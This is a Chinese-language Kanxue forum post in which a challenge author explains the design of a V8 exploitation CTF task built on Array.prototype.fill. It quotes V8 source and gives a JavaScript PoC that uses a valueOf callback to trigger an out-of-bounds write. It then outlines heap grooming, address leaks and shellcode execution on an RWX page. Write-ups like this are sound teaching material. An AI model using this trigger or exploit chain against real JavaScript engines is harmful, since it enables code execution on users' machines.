首页
论坛
专栏
课程

[原创]看雪CTF2019Q3 第十二题:精忠报国 题目设计思路

2019-9-9 21:56 298

[原创]看雪CTF2019Q3 第十二题:精忠报国 题目设计思路

2019-9-9 21:56
298

0x00 前言

简单地说这是一个V8的利用题,patch里面先是把d8的一些函数给删掉了,不然你可以直接用read读flag。然后漏洞patch是把FillImpl函数的用于扩大capacity的代码删除了,这样子的话,当end > capacity的时候,可以早成OOB写。

0x01 漏洞

漏洞在FillImpl,可是我们怎么从JavaScript中调用到它并且控制end和capacity的值呢?这个时候可以找一下cross-reference,或者直接搜索字符串。发现这里调用了FillImpl:

Object Fill(Handle<JSObject> receiver, Handle<Object> obj_value,
            uint32_t start, uint32_t end) override {
  return Subclass::FillImpl(receiver, obj_value, start, end);
}

然后,继续搜索这个函数的cross-reference,会发现在builtins-array.ccTryFastArrayFill中使用了他,并且这个函数会被BUILTIN(ArrayPrototypeFill)所调用。然后很明显这个函数就对应JavaScript中的Array.prototype.fill

BUILTIN(ArrayPrototypeFill) {
  HandleScope scope(isolate);

  if (isolate->debug_execution_mode() == DebugInfo::kSideEffects) {
    if (!isolate->debug()->PerformSideEffectCheckForObject(args.receiver())) {
      return ReadOnlyRoots(isolate).exception();
    }
  }

  // 1. Let O be ? ToObject(this value).
  Handle<JSReceiver> receiver;
  ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
      isolate, receiver, Object::ToObject(isolate, args.receiver()));

  // 2. Let len be ? ToLength(? Get(O, "length")).
  double length;
  MAYBE_ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
      isolate, length, GetLengthProperty(isolate, receiver));

  // 3. Let relativeStart be ? ToInteger(start).
  // 4. If relativeStart < 0, let k be max((len + relativeStart), 0);
  //    else let k be min(relativeStart, len).
  Handle<Object> start = args.atOrUndefined(isolate, 2);

  double start_index;
  MAYBE_ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
      isolate, start_index, GetRelativeIndex(isolate, length, start, 0));

  // 5. If end is undefined, let relativeEnd be len;
  //    else let relativeEnd be ? ToInteger(end).
  // 6. If relativeEnd < 0, let final be max((len + relativeEnd), 0);
  //    else let final be min(relativeEnd, len).
  Handle<Object> end = args.atOrUndefined(isolate, 3);

  double end_index;
  MAYBE_ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
      isolate, end_index, GetRelativeIndex(isolate, length, end, length));

  if (start_index >= end_index) return *receiver;

  // Ensure indexes are within array bounds
  DCHECK_LE(0, start_index);
  DCHECK_LE(start_index, end_index);
  DCHECK_LE(end_index, length);

  Handle<Object> value = args.atOrUndefined(isolate, 1);

  if (TryFastArrayFill(isolate, &args, receiver, value, start_index,
                       end_index)) {
    return *receiver;
  }
  return GenericArrayFill(isolate, receiver, value, start_index, end_index);
}

V8_WARN_UNUSED_RESULT bool TryFastArrayFill(
    Isolate* isolate, BuiltinArguments* args, Handle<JSReceiver> receiver,
    Handle<Object> value, double start_index, double end_index) {
  // If indices are too large, use generic path since they are stored as
  // properties, not in the element backing store.
  if (end_index > kMaxUInt32) return false;
  if (!receiver->IsJSObject()) return false;

  if (!EnsureJSArrayWithWritableFastElements(isolate, receiver, args, 1, 1)) {
    return false;
  }

  Handle<JSArray> array = Handle<JSArray>::cast(receiver);

  // If no argument was provided, we fill the array with 'undefined'.
  // EnsureJSArrayWith... does not handle that case so we do it here.
  // TODO(szuend): Pass target elements kind to EnsureJSArrayWith... when
  //               it gets refactored.
  if (args->length() == 1 && array->GetElementsKind() != PACKED_ELEMENTS) {
    // Use a short-lived HandleScope to avoid creating several copies of the
    // elements handle which would cause issues when left-trimming later-on.
    HandleScope scope(isolate);
    JSObject::TransitionElementsKind(array, PACKED_ELEMENTS);
  }

  DCHECK_LE(start_index, kMaxUInt32);
  DCHECK_LE(end_index, kMaxUInt32);

  uint32_t start, end;
  CHECK(DoubleToUint32IfEqualToSelf(start_index, &start));
  CHECK(DoubleToUint32IfEqualToSelf(end_index, &end));

  ElementsAccessor* accessor = array->GetElementsAccessor();
  accessor->Fill(array, value, start, end);
  return true;
}

总结一下,就是patch的函数是Array.prototype.fill的底层实现之一,只要我们能够让传进去的end > capacity,就可以OOB写。end来自于end_index,而这个来自于args.atOrUndefined(isolate, 3),即JavaScript的参数。

 

阅读一下这个函数,发现end_index是从GetRelativeIndex转换而来,而这个函数永远会保证返回的值小于等于array.length,这个length其实一定小于等于后面的capacity。咋一看好像触发不了,但是其实是有一个小问题的,就是Object::ToInteger可以调用JavaScript代码,然后在这个时候可以去收缩array的长度,这样就可以在FillImpl里面使得capacity < end了。

 

具体PoC:

function gc() { for (let i = 0; i < 0x10; i++) { new ArrayBuffer(0x1000000); } }
var arr = [1.1];
for (let i = 0; i < 0x100; i++)
{
    arr.push(i);
}
arr.fill(1.1, 0,
{
    valueOf : function ()
    {
        arr.length = 1;
        gc();
        return 0x100;
    }
});

还有一点要注意,因为就算你收缩了arr的长度,实际上这后面能写到的地方也是未被使用的内存,所以我们需要调用一下GC,这样就可以让OOB写到有用的数据了。

0x02 利用

接下来的利用就很常规了,首先通过堆风水,在arr后面分配另一个array,这样可以OOB写它的length,然后这个时候就能拿到一个oobArray,把OOB写升级成OOB读写。

 

然后这个oobArray后面也得有一个ArrayBuffer和一个web assembly function的地址,这样就能leak,然后任意读写,在RWX页上写shellcode并且执行。

 

具体exploit在附件

0x03 部署

除了exp.js以外,其它文件都给出去。然后在服务器上,得有d8*.bin在同一个文件夹,执行就只要执行./d8就行了。



[公告]安全测试和项目外包请将项目需求发到看雪企服平台:https://qifu.kanxue.com

最后于 2019-9-25 09:37 被kanxue编辑 ,原因:
最新回复 (0)
游客
登录 | 注册 方可回帖
返回